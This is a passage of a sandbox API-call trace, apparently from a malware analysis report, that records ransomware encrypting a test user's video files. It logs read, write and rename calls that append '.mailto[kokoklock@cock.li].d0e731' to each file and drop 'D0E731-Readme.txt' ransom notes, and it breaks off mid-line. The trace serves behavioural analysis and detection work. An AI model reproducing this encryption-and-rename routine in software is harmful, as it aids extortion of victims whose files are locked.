[0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xab153c89 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x34dad122 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xdc6dd60b [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x40a06e36 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x861e6d9 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x605df356 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x443c70d5 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xab275241 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xfdac2029 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xadcacd9d [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0x6c5bcf78 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xebfe2263 [0177.420] RtlRandom (in: Seed=0x29aff94c | out: Seed=0x29aff94c) returned 0xf5970954 [0177.430] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.430] ReadFile (in: hFile=0x824, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29aff918, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x29aff918*=0x4096, lpOverlapped=0x0) returned 1 [0177.431] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0177.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0177.431] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f90 [0177.431] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f90) returned 1 [0177.432] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.432] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f18 [0177.432] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f90 [0177.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f90) returned 1 [0177.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0177.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0177.432] WriteFile (in: hFile=0x824, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29aff918, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x29aff918*=0x4096, lpOverlapped=0x0) returned 1 [0177.432] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.432] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0xbde0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.433] WriteFile (in: hFile=0x824, lpBuffer=0x2f94f18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29aff950, lpOverlapped=0x0 | out: lpBuffer=0x2f94f18*, lpNumberOfBytesWritten=0x29aff950*=0x20, lpOverlapped=0x0) returned 1 [0177.433] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f18) returned 1 [0177.433] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.433] WriteFile (in: hFile=0x824, lpBuffer=0x2f94fe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29aff964, lpOverlapped=0x0 | out: lpBuffer=0x2f94fe0*, lpNumberOfBytesWritten=0x29aff964*=0x8, lpOverlapped=0x0) returned 1 [0177.433] WriteFile (in: hFile=0x824, lpBuffer=0x29aff97c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29aff964, lpOverlapped=0x0 | out: lpBuffer=0x29aff97c*, lpNumberOfBytesWritten=0x29aff964*=0x4, lpOverlapped=0x0) returned 1 [0177.433] WriteFile (in: hFile=0x824, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29aff964, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x29aff964*=0x4, lpOverlapped=0x0) returned 1 [0177.433] WriteFile (in: hFile=0x824, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29aff964, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x29aff964*=0x6c, lpOverlapped=0x0) returned 1 [0177.433] WriteFile (in: hFile=0x824, lpBuffer=0x2f94f40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29aff964, lpOverlapped=0x0 | out: lpBuffer=0x2f94f40*, lpNumberOfBytesWritten=0x29aff964*=0x20, lpOverlapped=0x0) returned 1 [0177.433] WriteFile (in: hFile=0x824, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29aff964, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x29aff964*=0x4, lpOverlapped=0x0) returned 1 [0177.433] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.433] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f68) returned 1 [0177.433] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94fe0) returned 1 [0177.434] CloseHandle (hObject=0x824) returned 1 [0177.434] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x166) returned 0x2f6ab60 [0177.434] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" [0177.434] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.434] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\sii9kxvbnhbf.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.435] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0177.435] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\SiI9KxvBNHBf.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.435] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4850 [0177.435] wcscpy (in: _Dest=0x2fc4850, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\" [0177.435] wcscat (in: _Dest=0x2fc4850, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" [0177.435] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\MNuAfVGt7Bpb6yoie\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\mnuafvgt7bpb6yoie\\d0e731-readme.txt")) returned 0x20 [0177.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4850) returned 1 [0177.435] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2628) returned 1 [0177.435] RtlExitUserThread (Status=0x1) Thread: id = 2648 os_tid = 0x10e4 [0177.437] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.437] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x824 [0177.438] GetFileSizeEx (in: hFile=0x824, lpFileSize=0x29b7f75c | out: lpFileSize=0x29b7f75c*=79241) returned 1 [0177.438] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x13585, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.438] ReadFile (in: hFile=0x824, lpBuffer=0x29b7f730, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x29b7f730*, lpNumberOfBytesRead=0x29b7f72c*=0x4, lpOverlapped=0x0) returned 1 [0177.439] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.440] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.440] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f95058 [0177.440] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f18 [0177.440] NtQuerySystemTime (in: CurrentTime=0x29b7f708 | out: CurrentTime=0x29b7f708*=132121213347499695) returned 0x0 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x1d1ae76 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x9e27a697 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0xac3fa15 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x6ead772d [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0xeb25b8f7 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x38d7b63 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x39819ceb [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0xe344814b [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x2f6125a4 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x41fa385 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x2b1668e1 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x7d98be39 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x6661d08a [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x10d4738e [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x155d858 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x44bf04f3 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x34b7d1e [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x42e25e18 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0xbfaa35e3 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x511bf2bd [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x40ca1769 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x89519a33 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0xbbc2569d [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x3eb1ea8e [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x47c051b9 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x2100461a [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x72bb6bb4 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x66175d79 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x60143cbd [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0xd3e27323 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0x9c3d25c4 [0177.440] RtlRandom (in: Seed=0x29b7f714 | out: Seed=0x29b7f714) returned 0xe3b897d5 [0177.451] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.451] ReadFile (in: hFile=0x824, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29b7f6e0, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x29b7f6e0*=0x4096, lpOverlapped=0x0) returned 1 [0177.452] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.452] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0177.452] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88dc0 [0177.452] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f68 [0177.452] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f68) returned 1 [0177.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0177.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f950a8 [0177.453] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94f68 [0177.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f68) returned 1 [0177.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88dc0) returned 1 [0177.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0177.453] WriteFile (in: hFile=0x824, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29b7f6e0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x29b7f6e0*=0x4096, lpOverlapped=0x0) returned 1 [0177.453] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0177.453] SetFilePointerEx (in: hFile=0x824, liDistanceToMove=0x13589, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.453] WriteFile (in: hFile=0x824, lpBuffer=0x2f950a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29b7f718, lpOverlapped=0x0 | out: lpBuffer=0x2f950a8*, lpNumberOfBytesWritten=0x29b7f718*=0x20, lpOverlapped=0x0) returned 1 [0177.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950a8) returned 1 [0177.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0177.454] WriteFile (in: hFile=0x824, lpBuffer=0x2f950d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x2f950d0*, lpNumberOfBytesWritten=0x29b7f72c*=0x8, lpOverlapped=0x0) returned 1 [0177.454] WriteFile (in: hFile=0x824, lpBuffer=0x29b7f744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x29b7f744*, lpNumberOfBytesWritten=0x29b7f72c*=0x4, lpOverlapped=0x0) returned 1 [0177.454] WriteFile (in: hFile=0x824, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x29b7f72c*=0x4, lpOverlapped=0x0) returned 1 [0177.454] WriteFile (in: hFile=0x824, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x29b7f72c*=0x6c, lpOverlapped=0x0) returned 1 [0177.454] WriteFile (in: hFile=0x824, lpBuffer=0x2f95058*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x2f95058*, lpNumberOfBytesWritten=0x29b7f72c*=0x20, lpOverlapped=0x0) returned 1 [0177.454] WriteFile (in: hFile=0x824, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29b7f72c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x29b7f72c*=0x4, lpOverlapped=0x0) returned 1 [0177.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95058) returned 1 [0177.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94f40) returned 1 [0177.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f950d0) returned 1 [0177.454] CloseHandle (hObject=0x824) returned 1 [0177.457] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2f6ab60 [0177.457] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" [0177.457] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0177.457] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\08ywsvj7a5m.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0177.696] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0177.696] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\08ywSvj7A5M.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xba) returned 0x2fa7798 [0177.696] wcscpy (in: _Dest=0x2fa7798, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\" [0177.696] wcscat (in: _Dest=0x2fa7798, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" [0177.696] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\d0e731-readme.txt")) returned 0x20 [0177.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7798) returned 1 [0177.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84a18) returned 1 [0177.696] RtlExitUserThread (Status=0x1) Thread: id = 2649 os_tid = 0x10e8 [0177.469] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\nhatpibp\\mzre2f\\u6zuemdgtut4vcmkt_wx.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.469] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0177.470] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f\\u6ZuemDgtuT4vcMKt_WX.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\videos\\sow 